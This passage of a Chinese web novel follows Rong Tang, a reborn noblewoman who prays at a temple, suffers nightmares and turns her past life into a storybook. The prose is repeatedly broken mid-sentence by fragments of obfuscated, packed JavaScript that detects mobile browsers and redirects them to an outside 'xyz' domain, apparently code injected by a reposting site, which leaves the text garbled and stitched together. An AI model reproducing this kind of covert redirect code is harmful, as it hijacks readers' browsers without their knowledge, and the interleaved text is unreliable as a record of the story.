l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762660|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 徐翡摇头:“娘无事,倒是你,大病初愈,若是支撑不住,可千万莫要逞强,随时去歇息。还愿之事,有娘在就行了。” 容棠道:“心诚则灵。娘当初既然是为了我的事向佛祖祈愿的,那么还愿自然也少不得我,否则岂不是不敬神佛,不够虔诚?” 她记得,前世自己因大病初愈身上犯懒而没有同母亲一道前去佛寺还愿,因而这一世,她必得前去请佛祖护佑,兴许就能够起了效用,从而改变前世的结局。 徐翡微微笑了笑道:“你这孩子,一向伶牙俐齿的。”说话间,两人已到了佛寺大殿门前。 大殿里幽香缭绕,庄严而沉静。今日来此上香的人不算多,容棠跟在母亲身畔进殿时,恰好有一位香客自里走出。 那人一身深衣,身形高大,擦肩而过的一瞬,她嗅到了一股淡淡的薄荷栀子香,在这满殿的檀香味之中显得格外不同,颇有几分清雅宜人的味道。 待那人离开,殿内便再无旁人了。容棠随母亲一道拈香,在蒲团上跪拜,心中默默祝祷,希望佛祖保佑这一世父亲能免于官场之上的一切灾祸与阴谋,容家上下平安无恙;保佑这一世皇陵工程安稳进行,勿生动乱,以免连累父亲。 若不是在这神圣之地不能动杀戮念头,容棠真想求一求佛祖,这一世能不能让萧磐得到应有的惩罚,不要再生事端。 她仰头看着那佛像投射出的慈悲目光,心中忽地涌起一股迷惘。不知佛祖能不能听见她的心事,了却她的心愿呢? 从正殿出来后,徐翡恰好遇上了相熟之人,便与之寒暄了起来。容棠在一旁站着,见母亲和那人显然有不少体己话要说,觉得有些百无聊赖,便向母亲使了个眼色,带着烟雨悄无声息地往东面去了。 她方才来时便注意到东面有一处院落似乎很是特别,时不时有人进进出出,满脸虔诚,便向一个看起来面善的少女问了几句,才知道这便是那棵千年古树所在之地。 那少女见容棠满含期盼,便好心解释了几句,说这棵树沐浴了佛祖的恩泽,有了灵性。若是对着它许愿,它便会传话给佛祖,进而实现。 说罢,少女又红着脸小声补充了一句:“尤其是求姻缘,十分灵验。” 容棠没有听到这句话,只心心念念着那棵灵树。闻言,她向少女道了谢,便毫不犹豫迈步进了院子。 院子不大,角落里矗立着那棵高大的树。树干粗壮,枝叶繁茂,树荫浓密,如一把张开的伞,沉默地庇护着停步树下的人,让她情不自禁觉得可靠而心安。 此刻院子里恰好无人。容棠走上前,略微思索了一下,提起裙角在树下跪下,伸手抚上那粗糙的树皮,静静闭上眼,只盼着可以与它心意相通,让它听见自己的所思所想。 许久,她双手合十,开口道:“佛祖与灵树在上,信女一愿双亲长辈、挚友故交安康如意,大燕朝安宁昌盛;二愿这一世容家上下平安终老,免于前世灾祸;三愿……” 容棠迟疑了片刻,最终下定决心,缓缓道:“……三愿陛下龙体康健,平安顺遂,长命百岁,福泽万年。” 万籁俱寂之中,唯有风拂动枝叶的沙沙声。斑斓日光透过枝桠落下,覆上少女明媚娇丽的容颜,将她周身镀上一层暖融融的光。柔光。她声音清润,语气虔诚,一字一句掷地有声,一听便知是出自真心。 一墙之隔的桃花树下,有人缓步而来,恰将最后那句话听在耳中。纷纷春风拂面,吹动那花瓣簌簌飘落。落花雨之中,他凝眸望去,眼底似有光华微漾。 许久,一声若有若无的轻叹声落在风里。 4. 噩梦 气息落进风里,转瞬被掩盖了过去,墙内人无知无觉。 祝祷完毕,容棠起身,揉了揉膝盖。她再度望了眼高耸的古树,这才转身离开。 踏出院子的那一刻,她转头,发现这院墙外树木丛生,一片郁郁葱葱的翠色之中却有一抹亮色格外显眼——是一棵桃花树。深褐色的树干和枝节上缀着娇艳的花,在微风之中袅娜生姿。 难道,这就是求姻缘灵验的原因吗? 容棠被自己的想法逗笑了,索性抬步向树下走去。她伸手轻柔地抚过一簇簇花,素白的指尖衬着那丰润粉白的花瓣。微风拂面,吹动她的发丝柔柔擦过那花叶,当真是人面桃花相映红。 她凝神欣赏了片刻,担心母亲寻不到自己着急,这才匆匆离去。然而刚走出几步,容棠忽然觉得有些异样,情不自禁回头看去。 桃花树恰在院墙的拐角处,墙根的那一头延伸出去,隐在了丛丛叠叠的绿树之中。她轻轻皱了皱眉,总有种错觉,好像有人在暗处默默注视着,将一切尽收眼底。然而那片绿树安安静静伫立原地,只有枝叶轻微的沙沙声,哪里有人影? 容棠在原地怔了片刻,觉得自己一定是被前世那噩梦缠绕太久,才会时时刻刻疑神疑鬼的。她撇去思绪,快步离开。 刚走到大殿前的院子,容棠便看见母亲依然在同那位熟人说话。她正犹豫着要不要上前,忽然感到肩膀被人轻轻拍了一下。 一回头,对上一张清秀的脸。容棠稍稍愣了一下,很快认出了来人,顿时生出一股感慨之意。眼前人乃是文国公的孙女,名唤崔婉,亦是前世同她一道被钦定的冲喜人选之一。两人曾在几场宴会上结伴玩耍过,也算是颇为熟稔。 “容姐姐,”崔婉很惊喜,“没想到会在这儿遇见你。你也是来求佛的吗?” 容棠点点头说明了来意。她坠马之事虽未张扬,外人并不知情,但也不是什么秘密,因此也不打算刻意遮掩。崔婉闻言,目光落向她额头,担忧道:“姐姐如今可大好了?” “放心,我已经无事了。”容棠笑着道。 崔婉掩唇轻轻咳嗽了一声,方道:“我今日是陪祖母前来进香的。只不过祖母要请高僧解签,说我不便在场,便命我出来候着。”她说这话时,面上依旧带着柔软的笑,然而容棠看在眼里,却忍不住心生怜惜。 她曾听母亲说过,文国公夫人偏宠长子,对次子一家的情分总是淡淡的。而崔婉的父亲,便是文国公的小儿子。 不过崔婉看起来习以为常了,并未流露出丝毫委屈。两人又说了几句话,容棠偶一转头,看见一个锦袍青年自大殿内举步而出,目光逡巡一圈,落在了崔婉身上,随即快步走了过来。 “阿婉,祖母吩咐我们在此处稍待片刻,”青年行至近前时忽然看清了崔婉身边的容棠,一时间怔住,“这位是——” 崔婉忙道:“这是容家姐姐,工部容尚书大人的女儿,”又向容棠道,“这位是我堂兄。” “在下崔渤,见过容姑娘。”那青年向着容棠拱了拱手。 容棠客套回礼:“崔公子。” 崔渤似乎有心事,寒暄几句后便垂眸不语,面上神色颇为肃然。崔婉亦不是多话的人,静静站在原地。 容棠凝神瞧了崔婉几眼,见她身形纤弱,被山风一吹,双肩微微一颤,玉色的衣带在风中微微摇摆,便出声道:“妹妹莫要站在风口上,虽然是春日了,但山中还是有些凉的。” 崔婉感激道:“多谢姐姐关怀。” 崔渤从沉思中回神,这才注意到妹妹的畏寒之状,忙解开自己的披风替她披上,又低声问道:“阿婉,有没有冻着?待会回府,我让厨下备上热汤羹,给你暖暖身子。” 崔婉摇头:“我无事。” 崔渤这才松了口气,同时挪动步伐,替她挡住了山风。 容棠心想自己在此处似乎有些耽搁这对兄妹叙话,便想着借故离开。正巧此时,不远处的徐翡唤了她一声,容棠如逢大赦,忙寻了个理由告辞了。 回府的马车上,容棠阖了眼倚在车壁上假寐,脑海中思绪纷乱,一会想着自己今日那几句祝祷之语有无疏漏,一会又有些忧心,不知佛祖能不能听见她的肺腑之言。她想着想着,神思倦怠,竟真的睡了过去。 被母亲唤醒时,容棠尚有几分迷茫。她揉了揉眼睛,意识到马车已经到了府上,便很快下了车,向母亲告辞后,便回了自己的院子。 大约是今日爬山耗费了太多心神,她很快便睡着了。 然而这一觉却睡得不甚安稳。半梦半醒之间,她好似又回到了那座幽暗可怖的大殿。 层层叠叠的白布将她环绕其间。容棠站在殿内,四周空无一人,唯有那口硕大的棺材与她遥遥相望。昏暗的烛火跳动着,惨淡的光将那个名字映得极其清晰。 容棠打了个寒噤,只觉头皮发麻,下意识想走,然而殿门却在她面前霍然闭上。 她浑身一抖,顿觉寒意入骨,却忽然听见身后传来奇怪的声响。容棠僵硬转身,却见那口棺材突然剧烈摇晃起来,好像有什么东西要破棺而出一样。 有鬼?容棠毛骨悚然,想逃走,然而双脚却像钉在了地上一样动弹不得,只能眼睁睁看着那棺木缓缓冒出袅袅雾气,紧接着,一张模糊的面孔慢慢浮现,看不清五官,但能辨认出是个男子。 那道影子飘飘荡荡,一步步逼近她。 “救命啊!”容棠浑身冷汗直冒,猛地睁开了眼。 “姑娘怎么了?”守在外间的岚月闻声,连忙快步进来,撩开床帐。 容棠惊魂未定地喘了口气,看见帐顶熟悉的花色与纹路,这才慢慢回神。她深吸一口气,苦笑道:“……是梦。” 岚月担忧不已,握住她的手道:“姑娘自打坠马后,便时常做噩梦。虞公子不是说了吗,姑娘并无大碍,千万不要自己吓自己。” 这其中缘故无法言说,容棠只能勉强笑道:“大概是这次受伤将养时日久了些,便忍不住胡思乱想。” 她双手抱膝,脑海中还残存了些噩梦的记忆。她虽看不清那鬼魂的面目,但心中却一清二楚,能从那口棺椁之中飘出的还能有谁? 难道他对前世自己的死怀恨在心,竟想迁怒于她吗? 相较于害怕,容棠更感忿忿不平。这鬼好不讲道理,自己只是一个被抓进宫里冲喜的无辜之人,即便把他冲走了,那也是他命数不好,怨不得旁人,为何他要和自己过不去? 她抬手捂了捂脸,安慰自己,既然重活了,现如今那鬼……那位陛下也好端端在呢,不用担心他的鬼魂作祟。若佛祖显灵,保佑他长命百岁,那么这一世自己都不会和他有半点干系。 “奴婢在这里,姑娘安心睡吧。”岚月说着,便麻利地去点了一支安息香,服侍容棠躺下。 然而接下来数日,容棠总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762661|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是睡不安稳,一闭上眼就常常看见那口棺材向着自己猛扑过来,或是自己又无法抗拒地撞了过去。她心力交瘁,却又无法将这其中缘故告诉旁人,旁人一定以为自己疯了吧? 可一旦将之闷在心里,惶惑的情绪只会愈演愈烈。 容棠从不是自怨自艾的人,既然遇上了难题,那么去解决它便是。她思来想去,记起从前虞忆安曾随口提过,京城某条幽深的巷子里,有位擅长为人辟邪驱魔的大师,若是谁觉得自己被什么不干净的东西缠上了,便可以去请他出个主意破解。 自己如今同样被前世的冤孽缠上了,不如去找大师帮忙驱除。 主意已定,容棠忽然想到,若是被相熟的人瞧见自己去找这位神棍,只怕会有所误解,传出去别让旁人以为她中邪了。 她思索再三,打算乔装打扮一番,如此便可以瞒天过海了。 * 梧桐巷里,一家毫不引人注目的店前。 容棠警惕地四下张望,确保此刻没有人经过此处,这才低着头走进了店内。 “贵客有何需求?老朽可尽力一试。”大师捋着胡须,老神在在地道。 他一抬头,见眼前端坐的人全副武装,帷帽和面纱把她的模样遮挡得严严实实,连双眼睛都看不见。 大师早已习以为常。许多被邪祟困扰的人碍于面子,不愿在来寻求他这个神棍帮忙时被别人认出来,大都会遮蔽面容和身形,这实在是人之常情。他咳嗽一声,又重复了一遍问题,这才听见眼前人用低沉沙哑的声音缓缓叙述了起来。 容棠掐头去尾,添油加醋,刻意将自己的前世经历和噩梦的内容适当模糊,只保留了关键之处。她说罢,静静等着大师开口给出对策。 大师沉吟片刻,问了她几个问题,又自去一旁推算一番,许久才道:“老朽有个法子,贵客不妨一试。既然贵客为梦所困,无法挣脱,必得设法纾解。或口述,或书写。” 容棠听得一头雾水:“书写?大师的意思是,我可以将自己的梦写下来?” 大师说道:“梦之深意,事涉贵客心事。贵客可照老朽所言,保留其中关窍之处,至于其他无关紧要的细节,也可进行一定的改动。贵客先写出来,再摒除杂念,抽离自身,静静读之。切记不可原封不动写下来,否则不但泄露了天机,还会适得其反。” 容棠怀疑地盯着他花白的胡须,心想这法子真的可靠吗?大师见她不做声,又补充了一句道:“若贵客自读后依然没有完全摆脱梦的侵扰,也可设法使旁人能够看到你所写的内容,读的人越多,则渡的人越多,便可将其中诡谲玄幻之处充分散尽,让人间活气掩盖住梦之阴气。” 她沉默片刻,点头道:“多谢大师,我会尽力一试。” 大师随即袍袖一拂,变戏法般地拿出了一本册子,笑眯眯道:“贵客若是常为梦中之事困扰,担心是否有所预示,不如买一本老朽亲自编写的《解梦大全》?童叟无欺,老少皆宜,若贵客诚心需要,老朽可以便宜些卖与你。” 容棠:“......大师,这才是你的真实目的,对吗?” “贵客此言差矣,老朽呕心沥血著成此书,自然希望它能对更多人有所裨益,”大师花白的眉毛抬了抬,神神秘秘地道,“很灵的。” 不得不说,此人深谙人心。容棠迟疑了许久,最终抱着“宁可信其有不可信其无”的念头,买了一本。 5. 冷香 这一日,容棠坐在窗边书案后,一面想着大师的话,一面随手翻了几本先前从书坊买来的话本。她看着,心想自己这离奇的经历足可与许多诡谲故事媲美了。 既然如此,她是不是也可以模仿话本故事中的笔触和口吻,将自己的梦写下来?正如大师所言,这也是书写的一种啊。看了那么多故事,她还从未尝试过写呢。 容棠沉吟片刻,决定死马当作活马医,先试一试再说。她很快吩咐烟雨磨墨,自己铺展开纸张,提笔写了起来。 她本以为自己下笔时会很艰难,然而一回想起那些往事,顿时文思泉涌,一刻不停地写了半个多时辰,才觉得手腕微微酸痛。待墨迹晾干,容棠拈起纸张,逐字看了一遍,深深吐出一口气。 不得不说,将那些事情写下来后,她如大师所言,再换一种心境去看,便如同在看别人的故事一般,不再像梦中那样身临其境了。容棠心中一松,接下来几日便断断续续写下了不少内容。 令她惊喜的是,几日后,她晚间终于没有再重入那个可怖的梦境中。看来大师果然有本领啊。 容棠神清气爽睡到了第二日,用罢早膳后正百无聊赖时,忽然听得通传,说虞姑娘来了。 “棠棠,你这几日身子还好吗?”虞忆安举步进来,径直走向容棠,仔细瞧着她的脸色,边看边点头,“你如今面色红润了不少,额头的疤痕也已经消了。看来哥哥的药当真是有奇效。” 容棠笑道:“怀平哥哥的医术自然不容质疑。”两人说着,便在窗边长榻上坐下闲话起来。 虞忆安有些苦恼地皱眉,道:“这些时日,我的书坊新刻印的一些话本卖得都不大好,说到底,还是那些故事大同小异,不够新鲜,大伙儿看得多了,便不觉得有趣了。” 她诉了几句苦,感慨道:“这年头,生意可真不好做。” 容棠有心安慰她,便想着起身去将几案上她最爱吃的杏仁酥端过来,然而甫一动作,不小心挪动了几案上的砚台,导致底下压着的几张纸飘飘扬扬,正巧落在了虞忆安手边。 “咦,这是什么?”虞忆安好奇地捡起,定睛看了过去。 容棠来不及阻拦,心中顿时一跳,飞快想着该如何遮掩此事,却见虞忆安半晌才缓缓抬头,目光奇异地看向她:“棠棠,你......” “忆安,这上面所写,其实是——”容棠话音未落,却见虞忆安眼眸中骤然迸出几点星火,又惊又喜道:“棠棠,你何时也开始写话本故事的?竟不告诉我。” 她越看越兴致盎然,道:“棠棠,这故事十分新奇有趣,我从未见过什么‘起死回生’‘重返人世’‘重活一遭’这等情节。” “是......是啊,”容棠灵机一动,顺势道,“先前我养病时闲来无事,脑海中不知为何冒出了这许多片段,便随手记了下来,原来话本故事就是......这样的吗?” 虞忆安连连点头:“自然,而是你所写的还是极其引人入胜的故事。”她说着,津津有味地看了下去,末了敬佩地看向容棠:“棠棠,你竟能写出这样精彩的故事,真是深藏不露啊,丝毫不比我家书坊售卖的那些话本逊色。” 容棠心中一阵发虚,心道怎能写不出呢?毕竟那桩桩件件都是自己亲身经历的啊,写起来只会充满真情实感。她故作轻松地玩笑道:“你若是这么说,我是不是也能出书了?” 说者无心,听者有意。虞忆安眼睛一亮,道:“你当真这样想?若你愿意,我可以找人将你写的故事刻印成书,这样精彩的话本一定会被抢购一空。” 虞忆安的语气十分肯定。容棠没想到她会有这个想法,一时间语塞。要将自己的故事传扬开来吗?会不会如大师所言,让梦中阴诡之事散入人间,便可洗去阴气? 她心中犹豫不决,许久才迟疑道:“可若是此事被旁人知晓了,会不会有什么不好的后果......” “不会的,”虞忆安道,“你可以假托一个别号,不必写上真名,这样便没有人能猜得出那名号背后是男是女,是何许人也。况且,你只需将手稿交给我,余下的事情我会派人打点好,你不必抛头露面。我会保守秘密,不让任何人知晓。许多话本的作者都是委托旁人送来手稿的,从不暴露自己的真实身份,这也是常事,不足为奇。” 容棠被她说得有些跃跃欲试。她私下也喜欢看话本,可是这写话本却还是生平头一遭,内心深处其实也有些想尝试一番。 她低头思索半晌,最终点了点头道:“好,我先试一试吧。” 虞忆安喜上眉梢,说道:“棠棠,若你同意了,我会亲自整理你所写的内容,再加以删改,充实情节后再成书。但你放心,即便有所改动,但著者依旧是你,我也不会违拗你的本意。” 说定后,这一晚容棠便又继续写了下去。写着写着,她觉得单单把自己前世的经历作为故事有些太过单薄且短小,不足以成为一个完整的故事,便绞尽脑汁添了许多情节和莫须有的人物,并将故事的主人公改为男子,又将一些细节加以模糊处理,不变的是主人公前世为人所害以至家族蒙难,死而复生后手刃仇敌,力证家族清白的主线。 就这样,容棠生平第一部“著作”便交给了虞忆安,静待成果。 * 这一日,容棠想着快要到入宫赴宴的时候了,不如趁此机会去添置些衣裳首饰,权当出门逛逛了。 琳琅阁是京城最大的一处首饰铺子,所售卖的金银玉饰品相极佳,精巧玲珑,是达官显贵们极爱光顾的地方。容棠兴致勃勃地迈步进去时,发觉此刻店内只有一个穿藕粉色衫裙的少女正在低头瞧着什么。 她看那少女身形十分眼熟,微微一怔,旋即认出,当即出声唤道:“崔妹妹?” 崔婉闻声转头,面上掠过一丝惊喜:“容姐姐。” 两人寒暄几句,便并肩站在一处看了起来。崔婉看中了两对耳坠,却有些犯难,不知该选哪个,便偏头道:“容姐姐,你觉得呢?” 容棠打量了片刻,拈起其中一对珍珠耳坠,凑到她耳畔。那珍珠颗颗都是一般大小,泛着柔和的光泽,衬着崔婉白皙的肤色,显得很是娇美。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762662|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她笑道:“这对珍珠很衬你。” 崔婉对着铜镜照了照,心中欢喜,点头道:“既如此,那我便要这对了。” 容棠选了一支梅花蝴蝶纹样的玉钗,在乌黑如云的发上比了比,甚是满意,却还是有些依依不舍,便又驻足良久,又挑了一对琉璃耳珰、两弯金镶玉的手镯,又给母亲挑了一样翡翠珠链。 两人迈步出了琳琅阁,又一道走了段路。到了该告辞之处,崔婉犹豫片刻,轻声问道:“容姐姐,再过些时日是陛下的万寿宴,你会去吗?” 她面上现出几分赧色,低低道:“我......我在京中相熟之人不多,正忧心那日入宫后无所适从。倘若姐姐去了,我便安心许多。” 容棠记得崔婉虽出身名门,但因幼时身子孱弱,常年在京郊休养,直到十四岁那年才被接回京城。她性子娇怯,又甚少出门,虽也参加过几次热闹的宴会,但少言寡语,与京中其他年龄相仿的姑娘们无甚交际。两人之所以相熟,还是因为先前在宴上,容棠留意到崔婉的无措,便主动与她攀谈了起来,发觉彼此颇为投缘。而崔婉心中感念,因而也会主动亲近她。 听了这话,容棠笑着抚了抚她的肩膀道:“妹妹放心,来日我会按时赴宴的,宴上有我陪着你。” 崔婉心事了却,面上也多了几分红润之色,含笑道:“那我便先走了。” 容棠目送她走远,正打算向前走去,然而一抬眼,却见正前方有几人缓步走来。 日光明亮,将他们的五官照得极其清晰。容棠定睛一看,顿时僵立原地,刹那间周身几乎都失了力气,不听使唤。那种深入骨髓的恐惧如潮水般漫上心头,激得她眼前发黑,本已痊愈的额头似乎又泛起了剧烈的疼痛。 当先那人约莫三十来岁,双手负在身后,姿态倨傲,目光如电,正扫视着四周,眼看着下一刻便要向她看过来。 那张噩梦般可怖的脸,她永远不会忘记。 正是前世意图对父亲治罪、害她殒命的罪魁祸首,如今的励阳王——萧磐。 额头撞在棺椁上的沉闷响声犹在耳侧,殷红的血混杂着泪流淌下来,浑身各处都痛到了极点。她永远记得萧磐的眼神,记得他冷笑着罗列出有关父亲的所有罪名,记得那阴森的威胁之语。 还有他那布满贪欲的眼神,那对自己动手动脚时的猥琐,那浊臭的气息,实在令人作呕又惧怕。 无尽的恐惧霎时间在心头蔓延开来。容棠浑身一颤,目光四下逡巡,发觉自己正站在一家店铺门前,当下来不及多想,本能地抬步推开了门,赶在萧磐看过来之前闯了进去。 虽是白日,但店内光线却很是昏暗,仿佛与外界隔绝了一般,分明不是开门迎客的店应有的样子。然而此刻,容棠根本无暇他顾。 她尚未松口气,却忽觉得额头一痛,似乎撞在了什么坚硬之物上。 鼻间掠过一阵淡香,似是栀子掺了薄荷与白梅,清冷幽微,似曾相识。恍惚间,她听到了一阵微乱的呼吸。 一缕温热的气息冲淡了这冷香,极快地掠过,转瞬远离。 6. 出书 容棠一怔,下一刻便觉得面上陡然掠过一阵疾风,一方柔软的布料擦过她脸颊,霎时间遮蔽了她眼前的光线。与此同时,似有脚步声响起,倏而远去。 待她眼前重见光明,目之所及却只有满室桌椅碗筷,原来这是家食肆。恍惚间,容棠觉得方才那触感似乎是谁的袍袖翻飞如风,拂过了自己的面颊。她一时间有些茫然,呆立了半晌,这才快步走到窗边向外张望。 透过窗缝,她看见那道令她憎恨的身影已然远去,一颗狂跳不止的心彻底落回了胸腔之中。惧意渐散,可心头的愤恨却没有丝毫褪去。容棠双手握拳,指尖狠狠刺着掌心。 她恨萧磐,恨他的狠毒和胁迫,恨他算计父亲,也害得自己冤屈而死。可即便重活一世,此刻的她也注定无法为前世的自己报仇雪恨。身份如隔天堑,她唯一能做的,只有万分提防,避免再度落入他的算计之中。 可是,她究竟该如何让父亲躲过前世之灾呢?容棠心中酸涩,原本兴致高昂的情绪瞬间跌落谷底。她怔怔出了会神,直到感受到一股不容忽视的目光,才勉强平静了一下心绪,抬头看去。 容棠看向柜台后那身形高壮的青年,见他面露狐疑,显然对自己方才的举动很是不解,莫不是以为自己是青天白日也敢生了异心的窃贼,强闯店内,欲行不轨? “这位姑娘,”那青年开口道,“本店尚未开始迎客,您来早啦。” 难怪他要用那样诧异的目光看着自己。容棠有些尴尬,忙走上前道:“店家见谅。方才我......偶然遇到些意外,一时慌乱,错了步伐,误闯贵店,望乞恕罪。” 见她如此温和有礼,青年面上一松,开口道:“无妨。” 容棠顿了顿,忍不住四下环顾,却并未发现什么。她心中疑惑不已,开口道:“店家,不知这店内方才还有旁人在吗?” 青年啊了一声,淡然道:“这店内只我一人,姑娘为何这样问?” 容棠露出一个诚挚无邪的笑,语气满含关切:“方才我冒冒失失冲进店内,似乎不小心撞了人,不知那人要不要紧?” 青年笑了笑道:“姑娘说笑了。如今未到午食的时辰,这店内怎么会有别人呢?” 容棠站在原地,心中一百个不信。她明明真真切切感受到了另一人的气息,怎么这店家却矢口否认?然而这青年虽面上带笑,语气却是强硬而笃定,显然不会承认,她微一沉吟,又道:“我似乎感觉到有什么轻软的衣料自眼前拂过——” “啊,那应当是......”青年结巴了一瞬,“......是进门处的帘子,被外头的风一吹便飘了起来,结果恰好被姑娘撞上了,也是极巧。” 容棠难以置信地看着他,这店家莫不是把人当傻子?门帘分明在自己身后数步的地方,即便是狂风大作,也不可能把它吹到自己面前吧? 那青年对上她怀疑的目光,依旧四平八稳地维持着面上的镇定,只眼神有些飘忽不定。 容棠眼波轻扫,不放过这店内的任何一个角落。青天白日的,难道还有人能凭空消失? 这食肆并不算特别大,大堂里一览无余,最里的角落是两间悬着门帘的雅间。容棠定睛看去,那帘子稳如泰山,一丝波动也无,若是方才有人急匆匆地闪身进内躲藏起来,必然会带动帘子飘飘荡荡。 她把每一个角落都找了个遍,却并没有发现多余的人影,心中的疑虑化作了浓厚的怀疑,莫不是自己真的产生了错觉? 容棠满腹疑虑,却也不能掘地三尺把那人找出来,只能怏怏不乐地离开。 直到那道身影彻底消失在视线尽头,青年才将紧蹙的眉头舒展开来。他轻巧地越过面前的柜台,伸手将店门掩好,插好门闩,这才快步向最里间走去。 他走到左边的那隔间,抬手掀开帘子,室内正端坐着一人,闭目不语。 “放心吧,我已经将门关好了,不会再有人闯进来惊扰。” 那人一言不发,缓步而出。他穿一袭绣着青竹纹的锦袍,身形挺拔,端雅轩昂,神色肃然,眼波随意一扫,便处处透着一股压迫感。他睨了青年一眼,没好气道:“想不到我也有躲躲藏藏的时候。” 青年嘿嘿一笑:“意外而已。” 那人理了理袍袖,似笑非笑:“是吗?” 青年连忙转移话题道:“好吧,今日确实是我轻率了,险些在那姑娘面前露了馅,幸好你动作迅疾,我又......能言善辩,才遮掩了过去。” 那人道:“你以为人家姑娘和你一样粗枝大叶吗?我虽及时撤开,但她一定察觉到了什么。至于那番解释,或许只有你自个儿信吧。” 那青年顿时苦了脸道:“这食肆平日是我娘子打理,今日换了我,难免有些手忙脚乱。好在她并未瞧见你的模样,自然也不会识得你,此次是我疏忽了,往后定不会如此。罢了罢了,咱们闲话少叙,还是继续说你信上提及的那件事吧。” 那人转头透过敞着的木窗向外看去,眸色淡淡:“若非一些不得已的缘故,我本不欲扰你闲云野鹤般的日子。但在这桩事情上,我只信得过你。你行走江湖多年,最是见多识广;再者,你多年来远离朝堂,如今京中几乎没有知晓你底细的人,许多事办起来也更容易些。” 那青年的表情变得严肃:“咱们之间何必客气?你只管说吧。” 那人从柜台处随手拿起一张纸,提笔蘸墨写下了几个字。青年探头一看,先是一愣,随即蹙眉看向他,仔细打量着他的脸色:“你是信不过......” 那人沉默良久,说道:“这么多年来,总是时好时坏的。不瞒你说,我也受够了这样的日子和身体。” “你放心,我会办好此事的。”青年一口应下。 那人颔首:“多谢。” “咱们数十年的交情,你何须说这种话?”青年摆摆手,沉思片刻,又问道,“我久不在京城,不知如今的朝堂之上——” “你放心,我自有安排。”那人缓缓道。 “先帝不是曾给你留下了……”青年做了个口型,“你不打算用吗?” 那人冷冷扯了扯唇角:“今日之境况,焉知是不是他纵容之故!” 青年讷讷道:“可他毕竟是你生身父亲——” “帝王家都是一等一的薄情,你知道的。”那人神色恢复如常,淡漠道。 青年望着他眉宇间的疲倦之色,低声问道:“这一年我不在京城,还未问起你现下觉得如何?” 那人默然良久,说道:“还是老样子。”他微一晃神,冷冷一笑道:“可一年后的光景,或许就大不同了。” 最末一句话他说得极含糊,青年没听清,问道:“什么?” 那人很快回神,摇头道:“无事。不必担心,我自己的身子自己心中有数。” 青年点点头道:“你放心,我定会拼尽全力做好此事。” 许是方才所言太过沉重,青年有心想驱散空气中的窒闷,便玩笑道:“一年前我离京时你便是孑然一身,怎么这么久过去了,你还是不打算......吗?” 那人斜了他一眼,面色不变,八风不动。 青年笑嘻嘻道:“说真的,满京城那么多才貌俱佳的大家闺秀,你竟一点也不心动?” 他以一副过来人的口吻道:“你可知,有娘子的日子,是多么满足?我顿时觉得过去数年孤苦伶仃的日子太难熬了。” 那人面无表情:“你若是再说这些,我便要走了。” 青年面上的揶揄之色褪去,叹道:“其实我只是盼着能有个情投意合的人陪在你身边,她能真心实意地对你。” 那人转头看向窗外,眸光有一瞬的恍惚,似乎想到了什么遥远的往事。许久,他轻轻扯了扯唇,道:“我心中有数。” 青年知道他是个说一不二的人,只能止住话头。那人不再多言,目光随意一扫,发觉那青年袖中藏了本书册,不由得多看了几眼。青年见状,便取了出来,在他面前晃了晃,笑道:“这是我今日从书坊新买来的话本,你要不要看?” 那人纳罕地看向他:“真是稀奇,从小就厌烦读书的人有朝一日竟也手不释卷起来了?” 青年笑嘻嘻道:“这类话本子所写故事大多曲折离奇,引人入胜,京中百姓甚是喜爱,也是我这个粗人为数不多能看得下去的书了。” 那人摇摇头,道:“时候不早了,我该走了。” “话说,你真的不想看看这故事吗?说来,这故事着实新奇,我此前竟从未看过。”青年问道。 那人道:“这等编造的故事有何好看的?” 青年兴高采烈地道:“这书说的是主人公被恶人谋害而亡后魂魄归来、死而复生,进而报仇雪恨的故事。” 那人提步欲走,闻言忽然一顿。 “这故事当真离奇,人死之后怎么可能再重活一世呢?要我说,这作者也真是颇有想法,竟能想出这样的情节。”青年没察觉他的异样,滔滔不绝地道。 那人沉默半晌,低声道:“未必。” “你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762663|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?”那青年问道。 那人不语,慢悠悠地踱了几步,忽然转身看向青年,道:“不是要给我看吗?还不拿给我?” 青年:“......” 他张口结舌:“你真的要看?” 那人不语,眼神却说明了一切。青年将那话本子递了过去,嘴上不忘揶揄:“方才是谁口口声声说不看的?想不到堂堂......竟也有这般独特的爱好?” 那人说道:“我只是怕你这个武人不通文墨,看不懂其中深意,若是误解了作者的意思该如何是好?少不得得我替你把关了。” 他说罢,施施然离开。 * 